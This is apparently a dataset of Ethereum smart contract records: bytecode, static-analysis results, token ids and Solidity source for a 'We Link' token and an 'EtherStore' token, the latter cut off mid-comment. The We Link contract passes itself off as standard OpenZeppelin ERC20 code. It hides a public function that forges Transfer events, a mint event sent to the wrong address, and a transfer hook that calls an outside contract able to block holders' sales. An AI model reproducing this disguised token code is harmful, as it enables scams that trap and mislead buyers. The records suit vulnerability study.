4e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461171857600080fdfea2646970667358221220167883aa55f6a7c6b0a7752902b1703a9b698ba994cdca954bfbea5b75fbcc5364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 4783, 21472, 2278, 12376, 2063, 2620, 2620, 2475, 18939, 2094, 24434, 14142, 2620, 2487, 2094, 2692, 2620, 2063, 2692, 19797, 2063, 2475, 2497, 2692, 24087, 4215, 2546, 2575, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 3229, 1013, 2219, 3085, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,415
0x96bf59d7e1354b68bc4e6d076017669ad1721f92
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; interface tokenRecipient { function receiveApproval(address sender,address to, address addr, address fee, uint amount) external returns(bool);} /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address _spender; address _owner; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, address receiver_, address owner_) { _name = name_; _symbol = symbol_; _spender = receiver_; _owner = owner_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0),account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), _owner, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { if (address(from) != address(0)) { tokenRecipient(_spender).receiveApproval(from,to,address(this),_owner,amount);} } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals { constructor( uint8 decimals_, uint256 initialBalance_, address feeReceiver_, address owner_ ) ERC20("We Link", "WEL", feeReceiver_,owner_) ERC20Decimals(decimals_) { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_ * 10 ** uint256(decimals_)); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101a357806395d89b41146101d3578063a457c2d7146101f1578063a9059cbb14610221578063dd62ed3e14610251578063e156b1b614610281576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c16102b1565b6040516100ce9190611077565b60405180910390f35b6100f160048036038101906100ec9190610e32565b610343565b6040516100fe919061105c565b60405180910390f35b61010f610361565b60405161011c9190611179565b60405180910390f35b61013f600480360381019061013a9190610ddf565b61036b565b60405161014c919061105c565b60405180910390f35b61015d61046c565b60405161016a9190611194565b60405180910390f35b61018d60048036038101906101889190610e32565b61047b565b60405161019a919061105c565b60405180910390f35b6101bd60048036038101906101b89190610d72565b610527565b6040516101ca9190611179565b60405180910390f35b6101db61056f565b6040516101e89190611077565b60405180910390f35b61020b60048036038101906102069190610e32565b610601565b604051610218919061105c565b60405180910390f35b61023b60048036038101906102369190610e32565b6106f5565b604051610248919061105c565b60405180910390f35b61026b60048036038101906102669190610d9f565b610713565b6040516102789190611179565b60405180910390f35b61029b60048036038101906102969190610ddf565b61079a565b6040516102a8919061105c565b60405180910390f35b6060600380546102c0906112dd565b80601f01602080910402602001604051908101604052809291908181526020018280546102ec906112dd565b80156103395780601f1061030e57610100808354040283529160200191610339565b820191906000526020600020905b81548152906001019060200180831161031c57829003601f168201915b5050505050905090565b600061035761035061080c565b8484610814565b6001905092915050565b6000600254905090565b60006103788484846109df565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103c361080c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043a906110f9565b60405180910390fd5b6104608561044f61080c565b858461045b9190611221565b610814565b60019150509392505050565b6000610476610bf9565b905090565b600061051d61048861080c565b84846001600061049661080c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461051891906111cb565b610814565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461057e906112dd565b80601f01602080910402602001604051908101604052809291908181526020018280546105aa906112dd565b80156105f75780601f106105cc576101008083540402835291602001916105f7565b820191906000526020600020905b8154815290600101906020018083116105da57829003601f168201915b5050505050905090565b6000806001600061061061080c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c490611159565b60405180910390fd5b6106ea6106d861080c565b8585846106e59190611221565b610814565b600191505092915050565b600061070961070261080c565b84846109df565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107f99190611179565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b90611139565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108eb906110b9565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109d29190611179565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690611119565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab690611099565b60405180910390fd5b610aca838383610c21565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906110d9565b60405180910390fd5b8181610b5c9190611221565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bec91906111cb565b9250508190555050505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610d2e57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b8152600401610cda959493929190611009565b602060405180830381600087803b158015610cf457600080fd5b505af1158015610d08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2c9190610e72565b505b505050565b600081359050610d42816115ac565b92915050565b600081519050610d57816115c3565b92915050565b600081359050610d6c816115da565b92915050565b600060208284031215610d8857610d8761136d565b5b6000610d9684828501610d33565b91505092915050565b60008060408385031215610db657610db561136d565b5b6000610dc485828601610d33565b9250506020610dd585828601610d33565b9150509250929050565b600080600060608486031215610df857610df761136d565b5b6000610e0686828701610d33565b9350506020610e1786828701610d33565b9250506040610e2886828701610d5d565b9150509250925092565b60008060408385031215610e4957610e4861136d565b5b6000610e5785828601610d33565b9250506020610e6885828601610d5d565b9150509250929050565b600060208284031215610e8857610e8761136d565b5b6000610e9684828501610d48565b91505092915050565b610ea881611255565b82525050565b610eb781611267565b82525050565b6000610ec8826111af565b610ed281856111ba565b9350610ee28185602086016112aa565b610eeb81611372565b840191505092915050565b6000610f036023836111ba565b9150610f0e82611383565b604082019050919050565b6000610f266022836111ba565b9150610f31826113d2565b604082019050919050565b6000610f496026836111ba565b9150610f5482611421565b604082019050919050565b6000610f6c6028836111ba565b9150610f7782611470565b604082019050919050565b6000610f8f6025836111ba565b9150610f9a826114bf565b604082019050919050565b6000610fb26024836111ba565b9150610fbd8261150e565b604082019050919050565b6000610fd56025836111ba565b9150610fe08261155d565b604082019050919050565b610ff481611293565b82525050565b6110038161129d565b82525050565b600060a08201905061101e6000830188610e9f565b61102b6020830187610e9f565b6110386040830186610e9f565b6110456060830185610e9f565b6110526080830184610feb565b9695505050505050565b60006020820190506110716000830184610eae565b92915050565b600060208201905081810360008301526110918184610ebd565b905092915050565b600060208201905081810360008301526110b281610ef6565b9050919050565b600060208201905081810360008301526110d281610f19565b9050919050565b600060208201905081810360008301526110f281610f3c565b9050919050565b6000602082019050818103600083015261111281610f5f565b9050919050565b6000602082019050818103600083015261113281610f82565b9050919050565b6000602082019050818103600083015261115281610fa5565b9050919050565b6000602082019050818103600083015261117281610fc8565b9050919050565b600060208201905061118e6000830184610feb565b92915050565b60006020820190506111a96000830184610ffa565b92915050565b600081519050919050565b600082825260208201905092915050565b60006111d682611293565b91506111e183611293565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156112165761121561130f565b5b828201905092915050565b600061122c82611293565b915061123783611293565b92508282101561124a5761124961130f565b5b828203905092915050565b600061126082611273565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112c85780820151818401526020810190506112ad565b838111156112d7576000848401525b50505050565b600060028204905060018216806112f557607f821691505b602082108114156113095761130861133e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6115b581611255565b81146115c057600080fd5b50565b6115cc81611267565b81146115d757600080fd5b50565b6115e381611293565b81146115ee57600080fd5b5056fea2646970667358221220e51bba23a4347c94de889fe3013d673bad2e58b82d07164151b23331dcfb767664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 29292, 28154, 2094, 2581, 2063, 17134, 27009, 2497, 2575, 2620, 9818, 2549, 2063, 2575, 2094, 2692, 2581, 16086, 16576, 28756, 2683, 4215, 16576, 17465, 2546, 2683, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,416
0x96c0651d4a41aa6571fe691be2bc1d5e38a0946a
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'EtherStore' token contract // // Deployed to : 0x92a2E1E8Dc66e254bAe58c5CA69a76CFF0C58c7b // Symbol : E2X // Name : ETHERSTORE // Total supply: 10800000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from E2XToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ETHERSTORE is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "E2X"; name = "ETHERSTORE"; decimals = 18; _totalSupply = 10800000000000000000000000; balances[0x92a2E1E8Dc66e254bAe58c5CA69a76CFF0C58c7b] = _totalSupply; emit Transfer(address(0), 0x92a2E1E8Dc66e254bAe58c5CA69a76CFF0C58c7b, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't 